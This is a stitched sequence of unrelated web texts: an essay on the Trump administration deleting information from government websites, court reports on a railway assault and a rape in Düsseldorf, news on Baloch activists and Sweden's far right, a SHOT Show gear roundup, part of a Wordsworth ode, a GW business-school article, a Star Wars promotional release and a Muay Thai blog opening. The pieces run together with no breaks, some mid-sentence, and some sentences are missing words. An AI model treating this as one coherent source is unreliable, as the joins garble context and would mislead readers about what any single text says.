Trump and his spokespeople routinely substitute “alternative facts” for what a friend of mine calls consensus reality, the world that most of us recognize. Whose inaugural crowd was bigger, Barack Obama’s or Donald Trump’s? It doesn’t matter what you remember, or even what’s in the written accounts or photographic record. What matters is what the administration now says happened then. In other words, for Trump and his people, history in any normal sense simply doesn’t exist, and that’s a danger for the rest of us. Think of the Trumpian past as a website that can be constantly updated to fit the needs of the present. You may believe you still remember something that used to be there, but it’s not there now. As it becomes increasingly harder to find, can you really trust your own memory?
For Trump and his people, history in any normal sense simply doesn’t exist, and that’s a danger for the rest of us.
In recent months, revisions of that past have sometimes come so blindingly fast that the present has simply been overrun, as was true with the firing of FBI Director James Comey. First, the president ordered up some brand new supporting documents from Attorney General Jeff Sessions and his deputy, Rod Rosenstein. These were designed to underpin his line that Comey was fired on their recommendation — for being “unfair” to Hillary Clinton. Then, even as his surrogates were out peddling that very story, Trump told NBC’s Lester Holt that, “regardless of [Sessions’ and Rosenstein’s] recommendation, I was going to fire Comey.” And he explained why:
“And in fact when I decided to just do it I said to myself, I said, ‘You know, this Russia thing with Trump and Russia is a made-up story, it’s an excuse by the Democrats for having lost an election that they should’ve won.’”
Which rationale for Comey’s departure is true? Both? Neither? What is “truth” after all?
When the need to ask such questions occurs once in a while, it’s anomalous enough that we notice. We have time to remark that someone or various people in this story — Sessions, Rosenstein, the surrogates, Trump himself — are mistaken or even lying. Fortunately, in the case of Comey’s firing, journalists are still reporting the lies, but what happens if the rewrites of our recent history begin to come so fast that we stop keeping up?
During the Vietnam War, President Lyndon Johnson was famously said to have a “credibility gap.” People, including journalists, had stopped believing everything his administration said about one very important topic: the war. Trump doesn’t have a credibility gap; he’s tossed us into a credibility swamp. We’re all there together swimming in a mire of truth and lies, with the occasional firecracker thrown in just to see if we’re still paying attention.
If the age of Trump doesn’t end relatively soon, the daily effort to sort out what happened from what didn’t may eventually become too much for many of us.
If the age of Trump doesn’t end relatively soon, the daily effort to sort out what happened from what didn’t may eventually become too much for many of us. Memory fatigue may set in, and the whole project of keeping the past in focus shelved. In that case, we might very well start to give up the concept of citizenship altogether and decide instead to just get on with our own private uninsured, underpaid and overworked lives.
Sometimes it’s easier to simply adjust to an ever-changing official version of reality than to keep up a constant, unrewarding struggle to remember. This was the phenomenon George Orwell described so unforgettably in his dystopian novel 1984. His hero, Winston Smith, becomes aware that the sole party that runs his country incessantly rewrites the past to its own liking and advantage. In fact, he realizes that “the past not only changed, but changed continuously.”
Like most inhabitants of the megastate of Oceania, it wasn’t that Smith couldn’t accept such a reality. He could. What he couldn’t shake was a nightmarish sense “that he had never clearly understood why” the party needed to do it. “The immediate advantages of falsifying the past were obvious, but the ultimate motive was mysterious” to him. That “ultimate motive,” he eventually realizes, is to so destroy people’s hold on memory that they come to believe that truth genuinely is whatever the party says it is.
”In the end the party would announce that two and two made five, and you would have to believe it. It was inevitable that they should make that claim sooner or later: the logic of their position demanded it. Not merely the validity of experience, but the very existence of external reality was tacitly denied by their philosophy. The heresy of heresies was common sense. And what was terrifying was not that they would kill you for thinking otherwise, but that they might be right. For, after all, how do we know that two and two make four? Or that the force of gravity works? Or that the past is unchangeable?”
Does President Trump know what he’s doing? Does he know that, in a more chaotic fashion than Orwell’s “Big Brother,” he’s grinding away at American memories, threatening to turn them into so much rubble? It’s hard to say; he appears to be incapable of either self-reflection or planning, indeed of acting in any way except on impulse. He does, however, seem to know in an intuitive way what works for him, what gets him things he wants, as he has his whole professional life. He’s called his method “truthful hyperbole.” And regardless of what he himself understands, there are certainly people around him who do grasp all too well the usefulness of that “ultimate motive,” of convincing the public that facts are not all that stubborn after all.
The Memory Hole
Supplying alternative facts is one way of destroying memory. Erasing real facts is another.
In Orwell’s 1984, there was a slot in the wall at the Ministry of Truth where Winston Smith worked, a memory hole, into which inconvenient documents could be fed to be consumed forever by a huge basement furnace. There are, it seems, plenty of memory holes in Washington these days.
Since January, the Trump administration has been systematically removing from federal websites inconvenient information on subjects as diverse as climate change and occupational health and safety, and replacing it with anodyne messages. Take, for instance, this one, which you get when you search the Environmental Protection Agency’s website for the term “climate change” and click on links that search turns up:
“This page is being updated.
“Thank you for your interest in this topic. We are currently updating our website to reflect EPA’s priorities under the leadership of President Trump and Administrator [Scott] Pruitt. If you’re looking for an archived version of this page, you can find it on the Jan. 19 snapshot.”
If you do click on the link for that Jan, 19, 2017, “snapshot,” you can still (for now) see what the old climate change portal of the Obama era looked like. At the top of the “snapshot,” however, is a bright red notice announcing:
“This is not the current EPA website. To navigate to the current EPA website, please go to www.epa.gov. This website is historical material reflecting the EPA website as it existed on Jan. 19, 2017. This website is no longer updated and links to external websites and some internal pages may not work.”
Actual data is disappearing from government websites. The federal government collects vast amounts of data, much of it the results of studies it has funded.
The government has now entered full-scale climate change denial mode. Information of just about any sort on global warming has been or is being memory-holed in a wholesale fashion at other agency websites as well. The Guardian, for instance, reports that, in the part of the Department of Energy’s site addressed to children, “sentences that point out the harmful health consequences of burning coal and other impacts of fossil fuels have gone.” At the State Department, references to President Obama’s Climate Action Plan and a recent UN meeting on climate change have similarly been expunged.
However, it’s not just government pronouncements on issues like climate change that are being sanitized. Actual data is disappearing from government websites. The federal government collects vast amounts of data, much of it the results of studies it has funded. Some agencies, like the Environmental Protection Agency, are required by law to retain data they collect, but they are not required to post it. This means basic information and the results of scientific research, once available online, are now only available through a Freedom of Information Act request. Of course, you have to know that the information exists in the first place in order to request it.
One result of hiding such data is that scientists citing US government webpages as sources in their own work are now finding that the references they’ve pointed to have disappeared. Arctic researcher Victoria Herrmann describes watching her citations dissolve into thin air:
“At first, the distress flare of lost data came as a surge of defunct links on 21 January. The US National Strategy for the Arctic, the Implementation Plan for the Strategy and the report on our progress all gone within a matter of minutes. As I watched more and more links turned red, I frantically combed the Internet for archived versions of our country’s most important polar policies.”
Herrmann was able to find some of her missing articles using the Wayback Machine, an internet archiving project. But as Herrmann points out, “Each defunct page is an effort by the Trump administration to deliberately undermine our ability to make good policy decisions by limiting access to scientific evidence.”
It’s not just environmental information that’s been tossed down the memory hole. Concerned about the health and safety of workers or animals? The Washington Post reports some things you won’t find anymore on federal sites:
“The Occupational Safety and Health Administration, for instance, has dramatically scaled back on publicizing its fines against firms. And the Agriculture Department has taken offline animal-welfare enforcement records, including abuses in dog breeding operations and horse farms that alter the gait of horses through the controversial practice of ‘soring’ the animals’ legs.”
Sometimes information only hangs around for a brief moment, before sliding down the memory hole. That’s what happened to an advertisement for Trump’s Florida resort, Mar-a-Lago, which was masquerading as an entry on Share America, which the State Department calls its “platform for sharing compelling stories and images that spark discussion and debate on important topics like democracy, freedom of expression, innovation, entrepreneurship, education and the role of civil society.” The page appeared on the website of the US embassy in London.
Someone must have realized that using the State Department to advertise the President’s private club was not a great idea. Conflict of interest? No problem. It’s down the memory hole.
Someone must have realized that using the State Department to advertise the President’s private club was not a great idea. Conflict of interest? No problem. It’s down the memory hole.
Nor is it just government websites that are being reworked in a distinctly Orwellian fashion. Recently, the Trump 2020 re-election campaign (yes, it already exists) quietly removed many 2016 campaign documents from its website. The Washington Post’s Avi Selk describes some of the missing press releases, among them the one that reproduced Trump’s full interview with ABC News’ George Stephanopoulos in which he so infamously insulted Khizr Khan, the Gold Star father who spoke out against him at the Democratic Party convention, and his wife, Ghazala.
Similarly, links to Trump’s “New Deal for Black America,” released a week before the 2016 election, now bring up a dreaded “404 — Page not found” message on the Trump-Pence website. Whatever that “deal” was, it’s evidently no longer on offer, nor is it even to remain in the historical record.
The same memory hole has also evidently devoured a December 2015 press release announcing that “Donald J. Trump is calling for a total and complete shutdown of Muslims entering the United States until our country’s representatives can figure out what is going on.” Fortunately, versions of that particular statement were repeated often enough in enough places that lawyers have been able to continue to use it to argue against the president’s executive orders banning the entry of people from seven (now six) majority-Muslim countries.
The Trump administration’s memory holes have swallowed up more than documents and data. People have also disappeared — if not from the world, at least from their government positions. We still remember former national security adviser Michael Flynn and former FBI Director James Comey, but who remembers Ponisseril Somasundaran or Courtney Flint? They are among the scientists recently dismissed from the Environmental Protection Agency’s Board of Scientific Counselors. Among their duties was to give advice on environmental regulation. They are to be replaced, according to agency spokesperson J.P. Freire, by people “who understand the impact of regulations on the regulated community” — that is, representatives of polluting industries.
The United States of Amnesia
Gore Vidal coined the expression “the United States of Amnesia” in a 2004 book about George W. Bush’s America. The particular instance of amnesia Vidal highlighted with that phrase was the failure of those then waging the “war on drugs” to remember the disasters of the prohibition of alcohol sales in the 1930s, and the ensuing corruption, gangsters and smuggling rings that came with it.
His larger point, however, was that, in general, American historical memory is short. Thirteen years after Vidal’s book appeared, and with a new Republican administration ascendant, it seems that this country is in danger of sinking ever deeper into a state of amnesia. And can there be any question that, in a distinctly Orwellian fashion, the new administration is doing everything in its power to hasten that process? As the Trump administration prepares for a new “surge” on the perpetual battlefield that is Afghanistan, we’ve conveniently forgotten how little the last one achieved. We’ve forgotten how deregulation led to the Great Recession, as the federal Financial Crisis Inquiry Commission concluded in 2011. “The greatest tragedy,” that panel wrote, “would be to accept the refrain that no one could have seen this coming and thus nothing could have been done. If we accept this notion, it will happen again.” Yet the Republicans in Congress can’t wait to repeal Dodd-Frank, the law that restored a semblance of regulation to the world of commercial banking.
The fifth-century African bishop St. Augustine was probably the first western thinker to pay attention to human memory. In his Confessions, Augustine observes that it is memory — the ability to bring into present awareness past experiences and the ability to recognize the difference between past, present and future — that makes us self-aware beings. He described the “vast hall of my memory,” where “I meet myself and recall what I am, what I have done and when and where and how I was affected when I did it.” It is on the basis of memory, he added, that “I reason about future actions and events and hopes, and again think of all these things in the present. ‘I shall do this and that,’ I say to myself within that vast recess of my mind which is full of many rich images, and this act or that follows.”
If Augustine was right and memory gives us our selves, allowing us to “reason about future actions and events and hopes,” then a political regime that seeks to destroy its people’s memory is an existential threat.
In that case, the first act of resistance is to remember who we are.A schoolboy who pushed a young woman on to a railway line just 14 seconds before the train arrived at the station has been locked up for three years.
The 16-year-old, who cannot be named, shoved 19-year-old Chloe Forgie off the platform after an argument, and she landed just inches from the live rail.
Miss Forgie managed to scramble back on to the platform at Maze Hill before the train arrived, escaping with just a minor leg injury.
At the Old Bailey this morning, Judge Gerald Gordon said the boy did not know a train was coming at the time, but told him to ditch his connection to gangs or risk throwing his life away.
“It’s clear, certainly as far as schooling is concerned, before this you were doing extremely well with excellent academic prospects”, he said.
“You are at risk of throwing all that away which would be an absolute disaster.
“I’ve been trying young men your age for serious offences for long enough to know exactly what temptations and pressures there are for people like you to associate with local gangs.
“If you are going to make anything of your life, those pressures have to be resisted.”
The boy was cleared of attempted murder and attempted robbery at trial but convicted of attempted grievous bodily harm over the incident on May 27.
The court heard Miss Forgie had got off a train at Maze Hill just after 9.30pm and was waiting for her brother when she got into a row with the 16-year-old who was with two friends.
One of the group threw Lucozade in her face and slapped her, and when Miss Forgie crossed the bridge to the other platform the 16-year-old ran across and shoved her on to the track.
The court heard Miss Forgie shouted something at the boy but they gave differing accounts of what she said at trial and Judge Gordon said he could not be sure of the words used.
The 16 year-old, from Eltham, denied all the charges against him,. He was sentenced by videolink to three years in a young detention centre.Modi took up their cause +
attacked and abducted +
rallying around Modi's stirring speeches +
NEW DELHI: Several Baloch activists in Melbourne and in Busan, South Korea on Sunday protested against Pakistan's atrocities in Balochistan, and thanked Prime Minister Narendra Modi for extending his support to the province's beleaguered people, ANI reported.Baloch activists in exile around the world are stepping up the campaign against Pakistan's atrocities in Balochistan, since Prime Minister Narendralast month. Last week, even as Pakistan has begun to internationalize its Kashmir campaign, the country was hugely embarrassed after dozens of exiled Baloch activists in Germany came to chant anti-Pakistan protests and to laud Modi for his stand.An activist for a prominent Baloch political outfit said on Saturday that in a renewed police operation in the province, even civilians have been. The activist called on the international community to take steps to stop Islamabad's human rights abuses in Balochistan."In many parts of Nasirabad District (of Balochistan province ), Pakistani forces have carried out attacks. Baloch civilians have been harassed and many have been abducted," said Abdul Nawaz Bugti, the Baloch Republican Party's representative at the United Nations Human Rights Council, on Saturday.Last month, in what is being seen a big strategic shift, PM Modi began to call out Pakistan for its so-called hypocrisy in commenting about Kashmir even as it continues to oppress people within its borders. And now, Baloch activists in Pakistan and those forced into exile abroad areagainst Pakistan's atrocities in the Balochistan province and in Pakistan-occupied-Kashmir (PoK).Bugti on Saturday denied that the PM's speeches have had a negative effect on the people in Balochistan. "Pakistani atrocities have always been there. The positive thing now is that the world knows about them," Bugti tweeted.Not long after the smoke from the Consumer Electronics Show cleared, thousands of gun lovers converged upon the Sands Convention Center in Las Vegas for the Shooting Hunting and Outdoor Trade (SHOT) Show. It was loaded with techie stuff, too.
This year, the highest-tech gun belonged to Armatix. The German firm has an electronic safety that automatically disables the pistol when it's not within a few inches of a custom wristwatch. The watch sends a wireless arming signal to the gun. If the gun is picking up a signal from the watch, a green LED on the back lights up. Try squeezing the handle without wearing the watch, and you will see a red warning light. Anyone can pick up a limited edition version of the pistol for about 7,000 euro, which is pretty steep for a.22cal plinker. They start shipping next month.
Photos courtesy of Bryan William Jones
Armatix will eventually offer higher caliber guns, like this colossal revolver, as well as rifles and shotguns.
Photos courtesy of Bryan William Jones
Glock just released an update to their bestselling line of pistols. Each one has a fiercely textured grip, a larger magazine release and interchangeable backstraps. There's something new under the hood too. Each gun has a set of three springs to dampen recoil. When we shot the.40-caliber Glock 22, its kick was surprisingly soft.
We dressed the weapon up with a Viridian green laser sight. It is so bright that you can light targets up with it in full daylight. While red lasers are difficult, if not impossible to see in full daylight, our photographer professor Bryan Jones noted that the opsins or molecules that detect photons of light in our eyes are more sensitive to green light than red light. The result is that the green lasers appear brighter to our eyes than an equivalent red laser at the same wattage.
Photos courtesy of Bryan William Jones
Burris has built one of the most sophisticated rifle scopes we've ever seen. It has a laser rangefinder that can automatically adjust your sights to compensate for the fall of each bullet over long distances. Just point the crosshairs at the target, push a button on the side of the scope, and a bright red dot will show you exactly where the bullet will fall. We were able to easily hit targets at 400 and 700 meters without any experience at long-range rifle shooting. The scope has one hiccup: It has a hard time judging the distances of targets that are solid black.
Photos courtesy of Bryan William Jones
After a long series of delays, this Heckler and Koch MR556 may become available to civilians later this year. The German government told Heckler and Koch to hobble the military rifle before offering it to civilians in the United States, but the gun maker pushed back. So, the guns will be compatible with a wide variety of aftermarket parts that are currently sold for AR-15 style weapons. Other black rifles have been selling like hotcakes since 2004, when President Bush allowed a ban on assault weapons to expire.
Photos courtesy of Bryan William Jones
Later this year, you will be able to buy rubber bullets for home defense. Lightfield has been selling these projectiles to law enforcement agencies and wildlife officials for years. Each round is filled with a soft projectile that resembles a koosh ball. They look like toys, because they're made by a Chinese toy factory. The best thing about them is that they aren't likely to kill someone even if they are fired at point blank range. They're so soft that they're almost incapable of penetrating the body.
Photos courtesy of Bryan William Jones
Ultimate Survival Technologies makes the best survival kits we've ever seen. In addition to packing lightweight plastic signal mirrors, well-designed whistles and flints that can be used one-handed, each kit contains a special type of tinder called WetFire. It's made from a blend of paraffin and vegetable oil, and it can burn well even when it's sitting in a pool of water. Supposedly, it was developed by NASA as a solid rocket fuel.
Photos courtesy of Bryan William Jones
Spyderco released this wicked looking knife, which they have dubbed The Warrior. Fantasy soldier might be a better name. Although its design was inspired by the work of the Darwin-award-worthy mercenary Michael Echanis, we don't expect to see a lot of contractors carrying these things around. A sales representative told us that the serrations on the inner edge are designed for beheading people. It's made with H1 steel, so it won't rust even if you bring it along on a Hawaiian snorkeling trip.
Photos courtesy of Bryan William Jones
Later this year, Taser will start selling a civilian version of its three-shot people zapper. Unlike the law enforcement model, it will have a range of only 15 feet. Despite that limitation, the increased firepower may lead to some regrettable incidents. It's anybody's guess whether armed civilians will abuse their ability to shock people repeatedly, the way that cops do.
Flip off the safety, and the Taser will light up your target with both a laser and white light from an LED. The neuromuscular incapacitator could double as a pet toy. Kitties will love chasing the bright red spot all over your home.
Alongside the Tasers is the new Surefire Stratum flashlight, which can |
be thrown aside,
And with new joy and pride
The little actor cons another part;
Filling from time to time his 'humorous stage'
With all the Persons, down to palsied Age, 105
That Life brings with her in her equipage;
As if his whole vocation
Were endless imitation.
Thou, whose exterior semblance doth belie
Thy soul's immensity; 110
Thou best philosopher, who yet dost keep
Thy heritage, thou eye among the blind,
That, deaf and silent, read'st the eternal deep,
Haunted for ever by the eternal mind,
Mighty prophet! Seer blest! 115
On whom those truths do rest,
Which we are toiling all our lives to find,
In darkness lost, the darkness of the grave;
Thou, over whom thy Immortality
Broods like the Day, a master o'er a slave, 120
A presence which is not to be put by;
To whom the grave
Is but a lonely bed without the sense or sight
Of day or the warm light,
A place of thought where we in waiting lie; 125
Thou little Child, yet glorious in the might
Of heaven-born freedom on thy being's height,
Why with such earnest pains dost thou provoke
The years to bring the inevitable yoke,
Thus blindly with thy blessedness at strife? 130
Full soon thy soul shall have her earthly freight,
And custom lie upon thee with a weight,
Heavy as frost, and deep almost as life!
O joy! that in our embers
Is something that doth live, 135
That nature yet remembers
What was so fugitive!
The thought of our past years in me doth breed
Perpetual benediction: not indeed
For that which is most worthy to be blest 140
Delight and liberty, the simple creed
Of childhood, whether busy or at rest,
With new-fledged hope still fluttering in his breast:
Not for these I raise
The song of thanks and praise; 145
But for those obstinate questionings
Of sense and outward things,
Fallings from us, vanishings;
Blank misgivings of a Creature
Moving about in worlds not realized, 150
High instincts before which our mortal Nature
Did tremble like a guilty thing surprised:
But for those first affections,
Those shadowy recollections,
Which, be they what they may, 155
Are yet the fountain-light of all our day,
Are yet a master-light of all our seeing;
Uphold us, cherish, and have power to make
Our noisy years seem moments in the being
Of the eternal Silence: truths that wake, 160
To perish never:
Which neither listlessness, nor mad endeavour,
Nor Man nor Boy,
Nor all that is at enmity with joy,
Can utterly abolish or destroy! 165
Hence in a season of calm weather
Though inland far we be,
Our souls have sight of that immortal sea
Which brought us hither,
Can in a moment travel thither, 170
And see the children sport upon the shore,
And hear the mighty waters rolling evermore.
Then sing, ye birds, sing, sing a joyous song!
And let the young lambs bound
As to the tabor's sound! 175
We in thought will join your throng,
Ye that pipe and ye that play,
Ye that through your hearts to-day
Feel the gladness of the May!
What though the radiance which was once so bright 180
Be now for ever taken from my sight,
Though nothing can bring back the hour
Of splendour in the grass, of glory in the flower;
We will grieve not, rather find
Strength in what remains behind; 185
In the primal sympathy
Which having been must ever be;
In the soothing thoughts that spring
Out of human suffering;
In the faith that looks through death, 190
In years that bring the philosophic mind.
And O ye Fountains, Meadows, Hills, and Groves,
Forebode not any severing of our loves!
Yet in my heart of hearts I feel your might;
I only have relinquish'd one delight 195
To live beneath your more habitual sway.
I love the brooks which down their channels fret,
Even more than when I tripp'd lightly as they;
The innocent brightness of a new-born Day
Is lovely yet; 200
The clouds that gather round the setting sun
Do take a sober colouring from an eye
That hath kept watch o'er man's mortality;
Another race hath been, and other palms are won.
Thanks to the human heart by which we live, 205
Thanks to its tenderness, its joys, and fears,
To me the meanest flower that blows can giveAssociate professor of marketing Vanessa Perry teaches a business course on consumer behavior. Students getting their bachelor in business administration will need to minor outside the field next year.
The GW School of Business will require most undergraduates to minor outside of the college starting next year, part of a revised curriculum faculty hope will give students more flexibility in their course schedules.
The new curriculum, to launch for freshmen getting their bachelor of business administration degrees next fall, looks to arm students with the kind of non-business skills employers are looking for, Associate Dean for Undergraduate Programs Isabelle Bajeux-Besnainou said.
“The intent is really to make sure that students have an in-depth experience outside of the business school, and that is something that is coming from the market,” she said. “Recruiters actually want students to be a little more than only business-skilled students.”
The school is the first at GW to require from undergraduates a minor outside the college. Last fall, it also added the first undergraduate program – a bachelor of science in finance – to require students to double major outside the school.
Students will earn nine fewer credits in both general education courses and the school’s curriculum, giving students more time to add a second minor or concentration, which a quarter of students already have Bajeux-Besnainou said.
All students will take classes in globalization, career management and business law and ethics, in addition to the First-Year Development Program currently required of all freshmen.
The school also created a new writing in the discipline course about markets and politics that will be required of all sophomores.
Business schools across the country have come under more pressure to prepare graduates for a more competitive job market, especially as more universities offer different ways to earn business degrees.
Other universities, including the College of William and Mary and the University of Southern California, have also eased undergraduate business requirements in recent years to allows students to minor in other fields.
Media Credit: Margaret Rajic | Hatchet Photographer
GW’s undergraduate business program is No. 71 in the country, according to Bloomberg Businessweek’s annual rankings. Low student satisfaction, No. 99 in the country, has led to slipping rankings in recent years.
Four out of five employers wanted to hire college graduates with a broad liberal arts education, not a narrow business concentration, according to a survey conducted by the Association of American Colleges and Universities last year.
Faculty approved the curriculum for business administration students last month.
Robert Weiner, a professor of international business, said students will benefit from taking classes in more subjects.
“It will be beneficial because business is a part of broader society. Hopefully students will have a broader perspective,” he said.
During the first year at the University, students will have to choose between the business administration program or the bachelor of science degree, which is currently only offered to finance majors.
Sophomore Yasik Loban said he thinks the new curriculum will be “beneficial” for freshmen, giving them more time to declare the focus of study.
“I was going to transfer out of GW because I wanted to double major in the Engineering School and the Business School,” he said.
Still, freshman Megan Gills said students need more direction and guidance, and having so many options might be overwhelming for students.
“No one has really gone over the degrees much while we’ve been here. A lot of it is figuring things out on your own, in my opinion. I wish there was more guidance for freshmen,” she said.
-Mary Ellen McIntire contributed to this report.
This article appeared in the January 13, 2014 issue of the Hatchet.A German court has convicted a man of raping and strangling a 90-year-old woman and sentenced him to 5 years in prison.
The Dusseldorf state court convicted the 19-year-old defendant under juvenile law Friday of rape, robbery and bodily harm, it was reported.
The victim was attacked in Dusseldorf on a Sunday in October last year just after she visited a church.
A German court has convicted a man of raping a 90-year-old woman and sentenced him to 5 years in prison. Pictured, Souhayl M. in court earlier this month
During the trial, the Moroccan-born man, identified only as Souhayl M. in line with German privacy rules, admitted to committing the attack and said he had been drinking and taking cocaine beforehand.
The defendant grew up in Spain, where he was convicted of narcotics and other offences.
He said he came to Germany in 2016 because he risked going to prison in Spain. Investigators used DNA to track him down.
Prosecutors earlier claimed he confronted her in a church and shouted'money, money!' at her.
A CCTV image was released after the attack on a 90-year-old woman in October last year
When the elderly woman said she did not have any money to give him, he dragged her outside and carried out the horrific attack before strangling her and pulling her hair.
He also stole the key to her home, but there is no evidence that he later broke in.
Police say they traced the man through DNA evidence, as a sample was on record following a robbery in May last year, RP reports.
The woman needed hospital treatment following the horror attack.Share on Facebook Share on Twitter Share on Google+ Share on LinkedIn +
The far-right Swedish Democrats party will report Prime Minister Stefan Löfven to the parliament’s constitutional committee for using the term “Nazis” to describe them.
The Constitutional Committee is bipartisan and has the mandate to scrutinize the government and inform the parliament (Riksdag) whether the constitution is upheld and can decide whether a member of the cabinet can be prosecuted.
Löfven called the Swedish Democrats “a Nazi party” in a televised debate on Sunday. The Swedish Democrats suggest that being compared to Nazis shows a lack of respect for those exposed to real Nazism.
The Swedish Prime Minister was debating on public television, discussing the issue of possible electoral alliances. Shunning the Swedish Democrats from any coalition scenario, Prime Minister Löfven said this was “a Nazi party, a racist party,” and went on to suggest that when the current leader of the party, Jimmie Åkesson, joined the party “swastikas were still in use at the meetings.”
At that point, Åkesson called the Swedish Prime Minister a liar.
After the debate, Löfven told the Dagens Nyheter daily that Swedish Democrats had racist and Nazi “roots,” as it originated “from a white power movement.”
The Swedish Democrats (Sverigedemokraterna) were founded in 1988 by members of far-right right organizations such as the Nordic National Party, and the Bevara Sverige Svenskt (“Keep Sweden Swedish”).
Today, polls suggest their following continues to surge, riding a wave of anti-immigrant rhetoric across Europe.
Although the party claims to be a moderate conservative movement, last week the Swedish Democrat Member of Parliament Anna Hagwall told the Aftonbladet daily that “no family, ethnic group or company should be allowed to control directly/indirectly more than 5% of media.” She was referring to the Jewish Bonnier family, who own a big media conglomerate. The party announced the MP Anna Hagwall will resign and will not run again as a candidate for the party.
The Swedish Democrats are members of the Europe of Freedom and Direct Democracy group in the European Parliament, chaired by Nigel Farage and David Borelli of the Five Star Movement.SAN FRANCISCO, CA--(Marketwired - September 19, 2017) - Lucasfilm announced today that it is teaming up with six of the world's most well-known brands -- Christian Louboutin, General Mills, Nissan, Royal Philips, Verizon and VIZIO -- for the launch of an extensive global promotional campaign in support of Star Wars: The Last Jedi, opening on December 15.
"Our promotional partners have come up with some very exciting, imaginative campaigns to support The Last Jedi, and we can't wait to share them with fans," says Lylle Breier, Sr. Vice President, Global Marketing Partnerships, Walt Disney Studios.
"This film will be blazing new ground in the Star Wars saga, and we feel our partners have designed some truly compelling experiences to match," says Lynwen Brennan, General Manager of Lucasfilm.
With their specific, custom-designed campaigns and innovative programs, the six internationally respected global brands complement the overall marketing campaign for the latest episode in the Star Wars Skywalker saga.
Christian Louboutin
Christian Louboutin established his business in the First Arrondissement of Paris in 1992. An artist and craftsman with a passion for shoes, he creates designs for both women and men that are unique and recognizable thanks to their signature: the red lacquered soles. His collections combine wit, glamor, elegance and technical proficiency like none other. Since the brand's launch, Christian Louboutin's creations have been immortalized in museums, through film and television, on international runways, red carpets, and in pop culture.
A woman's natural beauty has always been at the center of the designer's inspiration, and 2014 welcomed the launch of Christian Louboutin Beauté with its first nail color, Rouge Louboutin. Since, the designer has released a range of lipsticks, eye collections and more recently three fragrances for women: Bikini Questa Sera, Tornade Blonde & Trouble in Heaven.
With a prolific collection of women's and men's shoes, handbags and small leather goods, Christian Louboutin now counts more than 135 boutiques around the world.
General Mills
General Mills is a leading global food company that serves the world by making food people love. Its brands include Cheerios, Annie's,Yoplait, Nature Valley, Fiber One, Haagen-Dazs, Betty Crocker, Pillsbury, Old El Paso, Wanchai Ferry, Yoki and more. Headquartered in Minneapolis, General Mills generated fiscal 2017 consolidated net sales of US $15.6 billion, as well as another US $1.0 billion from its proportionate share of joint-venture net sales.
Nissan Motor Co., Ltd.
Employing more than 37,000 team members in U.S., Canada and Mexico, Nissan's operations include automotive styling, engineering, consumer and corporate financing, sales and marketing, distribution and manufacturing. Nissan leads the world in zero-emission mobility, dominated by sales of the LEAF, the first mass-market, pure-electric vehicle. It is the best-selling EV in history. More information on the complete line of Nissan vehicles, our services and commitment to sustainable mobility can be found online at NissanNews.com.
Royal Philips
Royal Philips is a leading health technology company focused on improving people's health and enabling better outcomes across the health continuum from healthy living and prevention, to diagnosis, treatment and home care. Philips leverages advanced technology and deep clinical and consumer insights to deliver integrated solutions. Headquartered in the Netherlands, the company is a leader in diagnostic imaging, image-guided therapy, patient monitoring and health informatics, as well as in consumer health and home care. Philips' health technology portfolio generated 2016 sales of EUR 17.4 billion and employs approximately 71,000 employees with sales and services in more than 100 countries. News about Philips can be found at www.philips.com/newscenter.
Verizon
Verizon Communications Inc., headquartered in New York City, has a diverse workforce of 160,900 and generated nearly $126 billion in 2016 revenues. Verizon operates America's most reliable wireless network, with 114.2 million retail connections nationwide. The company also provides communications and entertainment services over mobile broadband and the nation's premier all-fiber network, and delivers integrated business solutions to customers worldwide.
VIZIO
VIZIO's mission is to deliver the ultimate entertainment experience through our community of connected consumers, advertisers, and media providers. Through our connected entertainment platform, VIZIO is transforming the way consumers discover and experience media content. Since our founding in California in 2002, VIZIO has built an industry-leading brand and sold over 75 million products, including televisions, sound bars and other devices. VIZIO is a leading HDTV brand in America and is the #1 sound bar brand in America. VIZIO product leadership is highlighted by a number of industry reviews and awards, making the 2016 collection the most awarded in company history. The VIZIO SmartCast P-Series, M-Series and E-Series Home Theater Displays all received Reviewed.com Editor's Choice awards and are all listed as CNET's "Best TVs of 2016." The VIZIO M-Series SmartCast Home Theater Display was awarded Editor's Choice from CNET with an 8.8 rating and the VIZIO SmartCast 65" E-Series Home Theater Display (E65u-D3) was awarded Reviewed.com's "Best TV of the Year" award for 2016. Also, the VIZIO D-Series earned a 2016 Editor's Choice award from PC Magazine. For more information, please call 888-VIZIOCE or visit www.VIZIO.com.
About Lucasfilm Ltd.
Lucasfilm Ltd., a wholly-owned subsidiary of The Walt Disney Company, is a global leader in film, television and digital entertainment production. In addition to its motion-picture and television production, the company's activities include visual effects and audio post-production, cutting-edge digital animation, interactive entertainment software, and the management of the global merchandising activities for its entertainment properties including the legendary Star Wars and Indiana Jones franchises. Lucasfilm Ltd. is headquartered in Northern California.
Lucasfilm, the Lucasfilm logo, Star Wars and related properties are trademarks and/or copyrights, in the United States and other countries, of Lucasfilm Ltd. and/or its affiliates. ©2017 & TM Lucasfilm Ltd. All Rights Reserved.
About Star Wars: The Last Jedi
In Lucasfilm's Star Wars: The Last Jedi, the Skywalker saga continues as the heroes of The Force Awakens join the galactic legends in an epic adventure that unlocks age-old mysteries of the Force and shocking revelations of the past.
The film stars Mark Hamill, Carrie Fisher, Adam Driver, Daisy Ridley, John Boyega, Oscar Isaac, Lupita Nyong'o, Andy Serkis, Domhnall Gleeson, Anthony Daniels, Gwendoline Christie, Kelly Marie Tran, Laura Dern and Benicio Del Toro.
Star Wars: The Last Jedi is written and directed by Rian Johnson and produced by Kathleen Kennedy and Ram Bergman. J.J. Abrams, Tom Karnowski and Jason McGatlin are the executive producers.
Star Wars: The Last Jedi opens in U.S. theaters on December 15, 2017.read my guest post articles a Husband’s Point of View
A Husband’s Point of View – Consider this a working theory. I’ve written about the uniqueness of Thai style training before, in The Slow Cook vs the Hack, and this article can be seen as something of an extension of that. But as Sylvie’s husband watching her progress through very earnest training and a hell of a lot of fighting, and seeing numerous westerners come through her Thai gyms, I’ve come upon something I think is pretty important. What led me to this is a very particular quality many serious western practitioners have in Muay Thai. They hunger after precision. There is a True North that marks any “real” Muay Thai technique, and that is the crispness and the balance of the absolutely beautiful strike. Serious westerners, not wanting to be grouped in with the “brawlers”, the ugly, aggro, pumped up, arm-flailing, off-balance rage monsters who definitely are not “Thai” in style, seek on their bags and in their shadow true Thai technique… the beautiful strike. The beautiful combination, the artful check.
